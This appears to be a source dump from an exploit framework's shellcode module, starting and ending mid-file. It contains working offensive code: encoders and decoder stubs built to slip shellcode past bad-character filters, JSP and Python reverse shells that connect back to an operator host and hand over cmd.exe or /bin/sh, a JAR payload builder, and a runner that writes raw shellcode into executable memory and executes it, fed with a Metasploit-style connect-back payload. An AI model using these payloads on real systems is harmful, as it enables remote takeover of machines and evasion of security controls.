""" Function to get aspx reverse shellcode """
if not self.CONNECTBACK_IP or not self.CONNECTBACK_PORT:
print ("Settings for connectback listener must be defined")
return False
aspx = """
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Principal" %>
"""
if inline:
aspx = self.make_inline(aspx)
aspx = aspx.replace("LOCALHOST", str(self.CONNECTBACK_IP)).replace("LOCALPORT", str(self.CONNECTBACK_PORT))
return aspx
def get_shellcode(self, inline=False):
return self.get_reverse(inline)
================================================
FILE: shellcodes/Encoders.py
================================================
#!/usr/bin/python
# -*- coding: utf-8 -*-
from random import *
import sys
from Runshellcode import RunShellcode
from ShellUtils import *
import types
class EncoderError(Exception): pass
class Encoder(object):
def encode(self, payload):
return payload
class AlphanumericEncoder(Encoder):
def __init__(self, disallowed_chars="\x00\x0d\x0a", buffer_register='ecx', offset=0):
self.buffer_register = buffer_register
self.allowed_chars = self.create_allowed_chars(disallowed_chars)
self.offset = offset
def create_allowed_chars(self, bad_chars):
allowed_chars = range(0x61, 0x7b)+range(0x42, 0x5b) + range(0x30,0x3a)
for ch in bad_chars:
if ord(ch) in allowed_chars:
allowed_chars.remove(ord(ch))
return allowed_chars
def encode(self, payload):
shell = [ord(c) for c in payload]
reg = self.buffer_register.upper()
stub =self.create_decoder_stub(reg)
offset=0
encoded=""
while offset < len(shell):
block = shell[offset: offset+1]
encoded+=self.encode_byte(block)
offset+=1
return stub+encoded+'AA'
def create_decoder_stub(self, reg):
decoder = self.gen_decoder_prefix(reg) + (
"jA" # push 0x41
"X" # pop eax
"P" # push eax
"0A0" # xor byte [ecx+30], al
"A" # inc ecx <---
"kAAQ" # imul eax, [ecx+42], 51 -> 10 |
"2AB" # xor al, [ecx + 42] |
"2BB" # xor al, [edx + 42] |
"0BB" # xor [edx + 42], al |
"A" # inc ecx |
"B" # inc edx |
"X" # pop eax |
"P" # push eax |
"8AB" # cmp [ecx + 42], al |
"uJ" # jnz short -------------------------
"I") # first encoded char, fixes the above J
return decoder
def gen_decoder_prefix(self, reg):
if self.offset > 32:
raise Exception("Critical: Offset is greater than 32")
# use inc ebx as a nop here so we still pad correctly
if self.offset <= 16:
nop = 'C' * self.offset
mod = 'I' * (16 - self.offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
edxmod = 'J' * (17 - self.offset)
else:
mod = 'A' * (self.offset - 16)
nop = 'C' * (16 - mod.length)
mod += nop + '7QZ'
edxmod = 'B' * (17 - (self.offset - 16))
regprefix = {
'EAX' : 'PY' + mod, # push eax, pop ecx
'ECX' : 'I' + mod, # dec ecx
'EDX' : edxmod + nop + '7RY', # dec edx,,, push edx, pop ecx
'EBX' : 'SY' + mod, # push ebx, pop ecx
'ESP' : 'TY' + mod, # push esp, pop ecx
'EBP' : 'UY' + mod, # push ebp, pop ecx
'ESI' : 'VY' + mod, # push esi, pop ecx
'EDI' : 'WY' + mod, # push edi, pop ecx
}
reg = reg.upper()
if reg not in regprefix.keys():
raise Exception("Invalid register name")
return regprefix[reg]
def encode_byte(self, block):
# No, not nipple.
nibble_chars = [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]]
for ch in self.allowed_chars:
nibble_chars[ch & 0x0F].append(chr(ch))
poss_encodings = []
block_low_nibble = block[0] & 0x0F
block_high_nibble = block[0] >> 4
# Get list of chars suitable for expressing lower part of byte
first_chars = nibble_chars[block_low_nibble]
# Build a list of possible encodings
for first_char in first_chars:
first_high_nibble = ord(first_char[0]) >> 4
# In the decoding process, the low nibble of the second char gets combined
# (either ADDed or XORed depending on the encoder) with the high nibble of the first char,
# and we want the high nibble of our input byte to result
second_low_nibble = (block_high_nibble^first_high_nibble) & 0x0F
# Find valid second chars for this first char and add each combination to our possible encodings
second_chars = nibble_chars[second_low_nibble]
for second_char in second_chars:
poss_encodings.append(second_char + first_char)
if len(poss_encodings) == 0:
raise Exception("No encoding of 0x%02x possible with limited character set" % block)
return poss_encodings[randint(0, len(poss_encodings)-1)]
class XorEncoder(Encoder):
def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)):
self._disallowed_chars = self.set_disallowed_chars(disallowed_chars)
self._usable_chars = set(range(256)) - self._disallowed_chars
def set_disallowed_chars(self, chars):
new_chars = set()
for char in chars:
new_chars.add(ord(char))
return new_chars
def _get_supported_register_sets(self):
return []
def _get_register_set(self, register_set):
return {}
def _get_header(self):
return []
def _get_payload_size_position(self):
raise NotImplementedError()
def _get_xor_key_position(self):
raise NotImplementedError()
def _encode_payload(self, payload, register_sets):
buffer = []
if isinstance(payload, types.StringTypes):
buffer.extend(ord(x) & 0xFF for x in payload)
else:
buffer.extend(payload)
for c in self._usable_chars:
ret = buffer[:]
for i in range(len(ret)):
ret[i] = ret[i] ^ c
if ret[i] in self._disallowed_chars:
# break inner for
break
else:
self._xor_key = c
# break outer for
break
else:
raise EncoderError('cannot encode')
return ret
def _prefix_header(self, payload, register_sets):
ret = self._get_header()
payload_len = 0x10000 - len(payload)
payload_size_pos = self._get_payload_size_position()
ret[payload_size_pos] = payload_len & 0xFF
ret[payload_size_pos + 1] = (
(payload_len & 0xFF00) >> 8)
xor_key_pos = self._get_xor_key_position()
for reg_set in register_sets:
for pos, value in self._get_register_set(reg_set).iteritems():
ret[pos] = value
for i, c in enumerate(ret):
if (c in self._disallowed_chars) and (
i != xor_key_pos):
# break the inner for
break
else:
# break the outter for
break
else:
raise EncoderError('cannot encode')
ret[xor_key_pos] = self._xor_key
ret.extend(payload)
return ret
def encode(self, payload, register_sets=[]):
"""Encode payload.
:param payload: the payload, either a string or a sequence of bytes
:param register_sets: a sequence of registers to try in shellcode
header. Sample names include 'eax', 'edx', and 'ebx'.
:return: a sequence of encoded bytes
"""
if len(payload) == 0:
return []
if len(payload) > 65535:
raise EncoderError('cannot encode')
if not self._usable_chars:
raise EncoderError('cannot encode')
if not register_sets:
register_sets = self._get_supported_register_sets()
encoded_payload = self._encode_payload(payload, register_sets)
ret = self._prefix_header(encoded_payload, register_sets)
return ret
def encode_to_string(self, payload, register_sets=[]):
"""Encode payload. Return a string.
:see: encode
"""
return ''.join(chr(x) for x in self.encode(payload, register_sets))
class FnstenvXorEncoder(XorEncoder):
"""Fnstenv Xor based on
http://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm."""
HEADER = [
0xD9, 0xE1, # fabs
0xD9, 0x34, 0x24, # fnstenv [esp]
0x5A, # pop edx
0x5A, # pop edx
0x5A, # pop edx
0x5A, # pop edx
0x80, 0xEA, 0xE7, # sub dl,-25 (offset to payload)
0x31, 0xC9, # xor ecx,ecx
0x66, 0x81, 0xE9, 0xA1, 0xFE, # sub cx,-0x15F (0x15F is size of payload)
0x80, 0x32, 0x99, # decode: xor byte [edx],0x99
0x42, # inc edx
0xE2, 0xFA, # loop decode
# payload goes here
]
REGISTER_SET = {
'edx': {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA,
20: 0x32, 22: 0x42},
'eax': {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58, # 9: 0x90, 10: 0x2C,
9: 0x80, 10: 0xE8,
20: 0x30, 22: 0x40},
'ebx': {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB,
20: 0x33, 22: 0x43},
}
XOR_KEY_POSITION = 21
PAYLOAD_SIZE_POSITION = 17 # 17 and 18
def _get_supported_register_sets(self):
return FnstenvXorEncoder.REGISTER_SET.keys()
def _get_register_set(self, register_set):
return FnstenvXorEncoder.REGISTER_SET[register_set]
def _get_header(self):
return FnstenvXorEncoder.HEADER[:]
def _get_payload_size_position(self):
return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION
def _get_xor_key_position(self):
return FnstenvXorEncoder.XOR_KEY_POSITION
class JumpCallXorEncoder(XorEncoder):
HEADER = [
0xeb, 0x10, # jmp getdata
0x5b, # begin: pop ebx
0x31, 0xc9, # xor ecx, ecx
0x66, 0x81, 0xe9, 0xa1, 0xfe, # sub cx, -0x15F
0x80, 0x33, 0x99, # decode: xor byte[ebx], 0x99
0x43, # inc ebx
0xe2, 0xfa, # loop decode
0xeb, 0x05, # jmp payload
0xe8, 0xeb, 0xff, 0xff, 0xff, # getdata: call begin
# payload goes here
# payload:
]
REGISTER_SET = {
'eax': {2: 0x58, 11: 0x30, 13: 0x40},
'ebx': {2: 0x5b, 11: 0x33, 13: 0x43},
'edx': {2: 0x5a, 11: 0x32, 13: 0x42},
}
XOR_KEY_POSITION = 12
PAYLOAD_SIZE_POSITION = 8
def _get_header(self):
return JumpCallXorEncoder.HEADER[:]
def _get_supported_register_sets(self):
return JumpCallXorEncoder.REGISTER_SET.keys()
def _get_register_set(self, register_set):
return JumpCallXorEncoder.REGISTER_SET[register_set]
def _get_payload_size_position(self):
return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION
def _get_xor_key_position(self):
return JumpCallXorEncoder.XOR_KEY_POSITION
class CodeEncoders:
"""
Class with Encoders
"""
def __init__(self, OS_SYSTEM, OS_TARGET, OS_TARGET_ARCH, BADCHARS):
self.name = ""
self.OS_SYSTEM = OS_SYSTEM
self.OS_TARGET = OS_TARGET
self.OS_TARGET_ARCH = OS_TARGET_ARCH
self.BADCHARS = BADCHARS
self.TMP_DIR = 'tmp'
self.step = 0
self.max_steps = 20
return
def encode_shellcode(self, _byte_array, encoder_type, debug=0):
"""Encodes shellcode and returns encoded shellcode
:param encoder_type: const of EncoderType
"""
encoded_shellcode = ''
if encoder_type == Constants.EncoderType.XOR or encoder_type == 1:
encoded_shellcode = self.xor_encoder(_byte_array, debug)
elif encoder_type == Constants.EncoderType.ALPHANUMERIC:
encoded_shellcode = self.alphanum_encoder(_byte_array, debug)
elif encoder_type == Constants.EncoderType.ROT_13:
encoded_shellcode = self.rot_13_encoder(_byte_array, debug)
elif encoder_type == Constants.EncoderType.FNSTENV_XOR:
encoded_shellcode = self.fnst_encoder(_byte_array, debug)
elif encoder_type == Constants.EncoderType.JUMPCALL_XOR:
encoded_shellcode = self.jumpcall_encoder(_byte_array, debug)
else:
print "There no encoder of this type"
return None
return encoded_shellcode
def clean_bad_chars(self, orig_array, payload):
if not self.BADCHARS:
print "You must specify some params"
return None
for k in self.BADCHARS:
# Ooops, BadChar found :( Do XOR stuff again with a new random value
# This could run into an infinite loop in some cases
if k in payload:
payload = self.xor_bytes(orig_array)
return payload
def xor_bytes(self, byte_array):
# Randomize first byte
rnd = randint(1, 255)
xor1 = (rnd ^ byte_array[0])
xor2 = (xor1 ^ byte_array[1])
xor3 = (xor2 ^ byte_array[2])
xor_array = bytearray()
xor_array.append(rnd)
xor_array.append(xor1)
xor_array.append(xor2)
xor_array.append(xor3)
return self.clean_bad_chars(byte_array, xor_array)
def xor_decoder(self, _shellcode, debug=0):
"""
The decoder stub is a small chunk of instructions
that is prepended to the encoded payload.
When this new payload is executed on the target system,
the decoder stub executes first and is responsible for
decoding the original payload data. Once the original
payload data is decoded, the decoder stub passes execution
to the original payload. Decoder stubs generally perform a
reversal of the encoding function, or in the case of an XOR
obfuscation encoding, simply perform the XOR again against
the same key value.
"""
asm_code = """
global _start
section .text
_start:
jmp get_shellcode
decoder:
pop esi ;pointer to shellcode
push esi ;save address of shellcode for later execution
mov edi, esi ;copy address of shellcode to edi to work with it
xor eax, eax ;clear first XOR-operand register
xor ebx, ebx ;clear second XOR-operand register
xor ecx, ecx ;clear inner loop-counter
xor edx, edx ;clear outer loop-counter
loop0:
mov al, [esi] ;get first byte from the encoded shellcode
mov bl, [esi+1] ;get second byte from the encoded shellcode
xor al, bl ;xor them (result is saved to eax)
mov [edi], al ;save (decode) to the same memory location as the encoded shellcode
inc edi ;move decoded-pointer 1 byte onward
inc esi ;move encoded-pointer 1 byte onward
inc ecx ;increment inner loop-counter
cmp cl, 0x3 ;dealing with 4byte-blocks!
jne loop0
inc esi ;move encoded-pointer 1 byte onward
xor ecx, ecx ;clear inner loop-counter
add dx, 0x4 ;move outer loop-counter 4 bytes onward
cmp dx, len ;check whether the end of the shellcode is reached
jne loop0
call [esp] ;execute decoded shellcode
get_shellcode:
call decoder
shellcode: db USER_SHELLCODE
len: equ $-shellcode
"""
asm_code = asm_code.replace('USER_SHELLCODE', _shellcode)
encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug)
return encoded_shellcode
def xor_encoder(self, _byte_arr, debug=0):
self.step += 1
"""
Simple xor encoder
https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder/
"""
shellcode = bytearray(_byte_arr)
# Check whether shellcode is aligned
if len(shellcode) % 3 == 1:
shellcode.append(0x90)
shellcode.append(0x90)
elif len(shellcode) % 3 == 2:
shellcode.append(0x90)
# Loop to split shellcode into 3-byte-blocks
final = ""
for i in range(0, len(shellcode), 3):
tmp_block = bytearray()
tmp_block.append(shellcode[i])
tmp_block.append(shellcode[i + 1])
tmp_block.append(shellcode[i + 2])
# Do the RND-Insertion and chained XORs
tmp = self.xor_bytes(tmp_block)
# Some formatting things for easier use in NASM :)
for y in tmp:
if len(str(hex(y))) == 3:
final += str(hex(y)[:2]) + "0" + str(hex(y)[2:]) + ","
else:
final += hex(y) + ","
final = final[:-1]
encoded_shellcode = self.xor_decoder(final, debug)
for i in self.BADCHARS:
if i in encoded_shellcode:
print("Founding BADHCARS")
if self.step < self.max_steps:
return self.xor_encoder(_byte_arr, debug)
else:
return None
return encoded_shellcode
def rot_13_decoder(self, _shellcode, debug=0):
"""
The decoder stub
"""
n = 13
n_hex = hex(n)
asm_code = """
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi ; shellcode address
xor ecx, ecx ; zero out ecx
mov cl, len ; initialize counter
decode:
cmp byte [esi], %s ; can we substract 13?
jl wrap_around ; nope, we need to wrap around
sub byte [esi], %s ; substract 13
jmp short process_shellcode ; process the rest of the shellcode
wrap_around:
xor edx, edx ; zero out edx
mov dl, %s ; edx = 13
sub dl, byte [esi] ; 13 - shellcode byte value
xor ebx,ebx ; zero out ebx
mov bl, 0xff ; store 0x100 without introducing null bytes
inc ebx
sub bx, dx ; 256 - (13 - shellcode byte value)
mov byte [esi], bl ; write decoded value
process_shellcode:
inc esi ; move to the next byte
loop decode ; decode current byte
jmp short shellcode ; execute decoded shellcode
call_decoder:
call decoder
shellcode:
db USER_SHELLCODE
len: equ $-shellcode
""" % (n_hex, n_hex, n_hex)
asm_code = asm_code.replace('USER_SHELLCODE', _shellcode)
encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug)
return encoded_shellcode
def rot_13_encoder(self, _shellcode, debug=0):
"""
ROT13 ("rotate by 13 places", sometimes hyphenated ROT-13)
is a simple letter substitution cipher that replaces a letter
with the letter 13 letters after it in the alphabet. ROT13
is a special case of the Caesar cipher, developed in ancient Rome.
"""
n = 13 # rot-n
max_value_without_wrapping = 256 - n
encoded_shellcode = ""
db_shellcode = []
for x in bytearray(_shellcode):
if x < max_value_without_wrapping:
encoded_shellcode += '\\x%02x' % (x + n)
db_shellcode.append('0x%02x' % (x + n))
else:
encoded_shellcode += '\\x%02x' % (n - 256 + x)
db_shellcode.append('0x%02x' % (n - 256 + x))
# print "Encoded shellcode:\n%s\n" % encoded_shellcode
# print "DB formatted (paste in .nasm file):\n%s\n" % ','.join(db_shellcode)
encode_shellcode = self.rot_13_decoder(','.join(db_shellcode), debug)
return encode_shellcode
def fnst_encoder(self, _byte_array, debug):
encoder = FnstenvXorEncoder(self.BADCHARS)
shellcode = _byte_array
encoded_shell = encoder.encode_to_string(shellcode)
if debug:
print "Len of encoded shellcode:", len(encoded_shell)
return encoded_shell
def jumpcall_encoder(self, _byte_array, debug):
encoder = JumpCallXorEncoder(self.BADCHARS)
shellcode = _byte_array
encoded_shell = encoder.encode_to_string(shellcode)
if debug:
print "Len of encoded shellcode:", len(encoded_shell)
return encoded_shell
def alphanum_encoder(self, byte_str, debug=0, buffer_register='ecx'):
encoder = AlphanumericEncoder(self.BADCHARS, buffer_register=buffer_register)
encoded_shell = encoder.encode(byte_str)
if debug:
print("Length of encoded shellcode: %s" % len(encoded_shell))
print ''.join("\\x%02x"%ord(c) for c in encoded_shell)
return encoded_shell
================================================
FILE: shellcodes/JavaShellcode.py
================================================
import os
from shellcode import Shellcode
from core.helpers.archieve.jar import Jar
from ShellUtils import Constants, read_binary
class JavaShellcodes(Shellcode):
"""
Class with shellcodes for java language
"""
def __init__(self, connectback_ip='localhost', connectback_port=5555,
badchars=['\x00'], type = Constants.JavaShellcodeType.JAR, make_jar=False):
Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port, badchars=badchars)
self.type = type
self.make_jar = make_jar
self.path_to_jar = ""
return
def get_jsp(self, inline=False):
""" Function to get java(jsp) shellcode """
if not self.CONNECTBACK_IP or not self.CONNECTBACK_PORT:
print "Settings for connectback listener must be defined"
return False
javacode = ""
javacode += """
<%@page import="java.lang.*, java.util.*, java.io.*, java.net.*"%>
<%class StreamConnector extends Thread {
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os ) {
this.is = is;
this.os = os;
}
public void run() {
BufferedReader in = null;
BufferedWriter out = null;
try {
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) {
out.write( buffer, 0, length ); out.flush();
}
} catch( Exception e ){
}
try {
if( in != null ) in.close();
if( out != null ) out.close();
} catch( Exception e ){}
}
}
try {
String OS = System.getProperty("os.name").toLowerCase();
Socket socket = new Socket( "LOCALHOST", LOCALPORT );
String command = "cmd.exe";
if (OS.indexOf("win") < 0)
command = "/bin/sh";
Process process = Runtime.getRuntime().exec(command);
(new StreamConnector(process.getInputStream(),socket.getOutputStream())).start();
(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
} catch( Exception e ) {
}
%>"""
javacode = javacode.replace("LOCALHOST", str(self.CONNECTBACK_IP))
javacode = javacode.replace("LOCALPORT", str(self.CONNECTBACK_PORT))
if inline:
javacode = self.make_inline(javacode)
return javacode
def get_jar(self, filename=""):
if not os.path.exists('temp'):
os.makedirs("temp")
filepath = 'temp/%s' % (filename or "payload.jar")
jar = Jar(filepath)
data = "{host};{port}".format(host=self.CONNECTBACK_IP, port=self.CONNECTBACK_PORT)
jar.add_file('east/data.dat', data)
path = os.getcwd() + '/shellcodes/data/java/reverse_tcp/Payload.class'
jar.add_file('east/Payload.class', read_binary(path))
if self.make_jar:
self.path_to_jar = filepath
remove_jar = not self.make_jar
return jar.get_raw(remove_jar)
def get_shellcode(self, inline=False):
if not hasattr(Constants.JavaShellcodeType, self.type.upper()):
raise Exception("There no Java payload of this type.")
shell = ""
if self.type == Constants.JavaShellcodeType.JAR:
shell = self.get_jar()
elif self.type == Constants.JavaShellcodeType.JSP:
shell = self.get_jsp(inline)
return shell
================================================
FILE: shellcodes/PhpShellcode.py
================================================
from shellcode import Shellcode
class PhpShellcodes(Shellcode):
"""
Class with shellcodes for php language
"""
def __init__(self, connectback_ip='localhost', connectback_port=5555):
Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port)
self.name = ""
return
def get_phpinfo(self, badchars):
""" Function to get phpinfo """
phpcode = ""
return phpcode
def get_phpcode(self, localhost, localport):
""" Function to get php shellcode """
if not localhost or not localport:
print "Settings for connectback listener must be defined"
return False
phpcode = ""
phpcode += """
"""
phpcode = phpcode.replace("LOCALHOST", str(localhost))
phpcode = phpcode.replace("LOCALPORT", str(localport))
return phpcode
def get_php_code_inline(self, host, port):
res = self.get_phpcode(host, port)
res = res.replace('\n', '')
res = res.replace('\r', '')
return res
def get_shellcode(self, inline=False):
shell = self.get_phpcode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)
if inline:
shell = self.make_inline(shell)
return shell
================================================
FILE: shellcodes/PythonShellcode.py
================================================
from shellcode import Shellcode
class PythonShellcodes(Shellcode):
"""
Class with shellcodes for python language
"""
def __init__(self, connectback_ip='localhost', connectback_port=5555):
Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port)
self.name = ""
return
def get_python_code(self, badchars, localhost, localport):
"""
Function to get python shellcode
"""
if not localhost or not localport:
print "Settings for connectback listener must be defined"
return False
pythoncode = ""
pythoncode += """
#!/usr/bin/python
import socket,subprocess
HOST = 'LOCALHOST' # The remote host
PORT = LOCALPORT # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
print data
# if its quit, then break out and close socket
if data == 'quit' or data == 'q':
break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()
"""
pythoncode = pythoncode.replace("LOCALHOST", str(localhost))
pythoncode = pythoncode.replace("LOCALPORT", str(localport))
return pythoncode
def get_shellcode(self, inline=False):
shell = self.get_python_code(self.BADCHARS, self.CONNECTBACK_IP, self.CONNECTBACK_PORT)
if inline:
shell = self.make_inline(shell)
return shell
================================================
FILE: shellcodes/README
================================================
Generate shellcodes are tested on:
1. WIN 32bit XP SP2
2. WIN 32bit 7 Ultimate
3. Linux 3.13.0-57-generic Ubuntu x86_64 x86_64 x86_64 GNU/Linux
================================================
FILE: shellcodes/Runshellcode.py
================================================
#!/usr/bin/python
import ctypes
from Encoders import *
from Shellcodes import *
from ast import literal_eval
from ShellUtils import Constants
class RunShellcode():
def run(self, shellcode_string, platform, encoder=''):
if encoder:
BADCHARS = ["\x00", "\x0a", "\x0d"]
new_encoder = CodeEncoders(platform, platform, Constants.OS_ARCH.X32, BADCHARS)
if encoder == Constants.EncoderType.XOR:
shellcode_string = new_encoder.xor_encoder(shellcode_string, debug=1)
elif encoder == Constants.EncoderType.ALPHANUMERIC:
shellcode_string = new_encoder.alphanum_encoder(shellcode_string, debug=1)
if platform == Constants.OS.WINDOWS:
shellcode = bytearray(shellcode_string)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
elif platform == Constants.OS.LINUX:
shellcode = ctypes.c_char_p(shellcode_string)
function = ctypes.cast(shellcode, ctypes.CFUNCTYPE(None))
addr = ctypes.cast(function, ctypes.c_void_p).value
libc = ctypes.CDLL('libc.so.6')
pagesize = libc.getpagesize()
addr_page = (addr // pagesize) * pagesize
for page_start in range(addr_page, addr + len(shellcode_string), pagesize):
assert libc.mprotect(page_start, pagesize, 0x7) == 0
function()
else:
print("Unknown platform")
return
if __name__ == "__main__":
#x86/shikata_ga_nai succeeded with size 227 (iteration=1)
#Metasploit windows/exec calc.exe
shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x0f\xa0\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
# Linux x86 test shellcode
# ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
# "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f"
# "\x75\x73\x72\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00"
# "\x57\x53\x89\xe1\xcd\x80");
rsc = RunShellcode()
rsc.run(shellcode, Constants.OS.WINDOWS, None)
================================================
FILE: shellcodes/ShellUtils.py
================================================
import os
import time
from subprocess import call, Popen, PIPE
from shutil import rmtree
from platform import system, machine
import struct
TIMESTAMP = time.strftime('%Y%m%d%H%M%S', time.gmtime())
OS_SYSTEM = system().upper()
OS_ARCH = machine()
class Constants:
FW_ROOT_PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..'))
SHELLCODES_DEV_PATH = os.path.join(FW_ROOT_PATH, '3rdPartyTools', 'ShellcodesUtils')
TMP_DIR = os.path.join(FW_ROOT_PATH, 'tmp')
class OS:
WINDOWS = "WINDOWS"
LINUX = "LINUX"
class OS_ARCH:
X32 = "32bit"
X64 = "64bit"
class EncoderType:
XOR = "xor"
ALPHANUMERIC = "alphanum"
ROT_13 = "rot_13"
FNSTENV_XOR = "fnstenv"
JUMPCALL_XOR = "jumpcall"
class ShellcodeType:
JSP = "jsp"
JAR = "jar"
PYTHON = "python"
PHP = "php"
ASPX = "aspx"
class JavaShellcodeType:
JSP = "jsp"
JAR = "jar"
class ShellcodeConnection:
BIND = 'bind'
REVERSE = 'reverse'
def is_os_64bit():
return machine().endswith('64')
def search_file(filename, search_path):
"""
Given a search path, find file
"""
path = os.path.join(search_path, filename)
if os.path.exists(path):
return path
return None
def write_file(data, file_ext='', file_name=''):
"""
Function to create file
"""
if not os.path.exists(Constants.TMP_DIR):
os.makedirs(Constants.TMP_DIR)
if not file_ext.startswith('.'):
file_ext = '.' + file_ext
if not file_name:
file_name = TIMESTAMP
file_name += file_ext
file_path = os.path.join(Constants.TMP_DIR, file_name)
fd = open(file_path, 'wb+')
fd.write(data)
fd.close()
return file_path
def get_objective_code(asm_file, target_arch, debug=0):
"""
Get objective code (file: *.o)
"""
output_format = ""
if target_arch == Constants.OS_ARCH.X32:
output_format = 'elf'
elif target_arch == Constants.OS_ARCH.X64:
output_format = 'elf64'
else:
print ("Format for output objective file is not defined")
return None
if not asm_file:
print ("You must specify some params passed to function")
return None
obj_file = (asm_file.split('.'))[0] + ".o"
app = 'nasm' # Application that do magic for us
if OS_SYSTEM == Constants.OS.WINDOWS:
app += '.exe'
find_app = search_file("%s" % app, Constants.SHELLCODES_DEV_PATH)
if find_app:
if debug:
print ("app: '%s' found at %s" % (app, find_app))
else:
print ("You must install app: '%s' and maybe edit environment variables path to it" % app)
return None
elif OS_SYSTEM == Constants.OS.LINUX:
find_app = app
else:
print ("Can't understand source os")
return None
command = "%s -f%s -o%s %s" % (find_app, output_format, obj_file, asm_file)
if debug:
print (command)
res = call([find_app, "-f", output_format, "-o", obj_file, asm_file])
if res == 0:
if debug:
print("Objective code has been created")
return obj_file
else:
print ("Something wrong while getting objective code")
return None
def objdump(obj_file, os_target_arch, debug=0):
"""
Get shellcode with objdump utility
"""
res = ''
if not obj_file:
print ("You must specify some params passed to function")
return None
else:
app = 'objdump'
if OS_SYSTEM == Constants.OS.WINDOWS:
app += ".exe"
find_app = search_file("%s" % app, Constants.SHELLCODES_DEV_PATH)
if find_app:
if debug:
print ("app: '%s' found at %s" % (app, find_app))
else:
print ("You must install app: '%s' and maybe edit environment variables path to it" % app)
return None
elif OS_SYSTEM == Constants.OS.LINUX:
